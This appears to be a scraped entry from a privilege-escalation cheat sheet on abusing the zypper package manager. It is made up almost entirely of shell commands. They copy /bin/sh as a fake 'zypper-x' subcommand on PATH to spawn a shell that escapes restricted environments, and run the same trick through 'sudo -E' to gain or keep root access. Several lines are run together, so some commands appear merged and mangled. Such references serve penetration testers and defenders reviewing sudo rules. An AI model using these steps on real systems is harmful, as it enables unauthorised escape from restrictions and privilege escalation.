It can be used to break out from restricted environments by spawning an interactive system shell.
This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.
zypper xTF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
zypper xIt runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.
sudo zypper xTF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
sudo -E zypper x